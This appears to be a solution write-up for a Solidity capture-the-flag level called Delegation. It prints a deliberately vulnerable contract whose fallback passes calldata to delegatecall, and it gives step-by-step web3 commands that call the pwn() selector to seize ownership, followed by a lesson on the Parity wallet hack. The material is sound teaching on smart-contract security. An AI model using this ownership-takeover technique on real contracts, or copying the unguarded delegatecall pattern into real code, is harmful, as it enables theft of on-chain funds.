06. Delegation.md

Delegation

difficulty 4/10

The goal of this level is for you claim ownership of the instance you are given.
Things that might help

• Look into Solidity's documentation on the delegatecall low level function, how it works, how it can be used to delegate operations to on-chain libraries, and what implications it has on execution scope.
• Fallback methods
• Method ids

Sources

pragma solidity ^0.4.18;

contract Delegate {

  address public owner;

  function Delegate(address _owner) public {
    owner = _owner;
  }

  function pwn() public {
    owner = msg.sender;
  }
}

contract Delegation {

  address public owner;
  Delegate delegate;

  function Delegation(address _delegateAddress) public {
    delegate = Delegate(_delegateAddress);
    owner = msg.sender;
  }

  function() public {
    if(delegate.delegatecall(msg.data)) {
      this;
    }
  }
}

Level author

Alejandro Santander
[email protected]
https://github.com/ajsantander

Solution

1. Calculate function pwn() signature
   web3.sha3("pwn()").substring(0, 10)
   "0xdd365b8b"

2. Invoke function to transfer ownership

await contract.sendTransaction({
  from: player,
  data: "0xdd365b8b"
})

3. Check contract owner
   player === await contract.owner()
   true

4. Submit Instance 🎉

Lesson

Usage of delegatecall is particularly risky and has been used as an attack vector on multiple historic hacks. With it, your contract is practically saying "here, -other contract- or -other library-, do whatever you want with my state". Delegates have complete access to your contract's state. The delegatecall function is a powerful feature, but a dangerous one, and must be used with extreme care.
Please refer to the The Parity Wallet Hack Explained article for an accurate explanation of how this idea was used to steal 30M USD.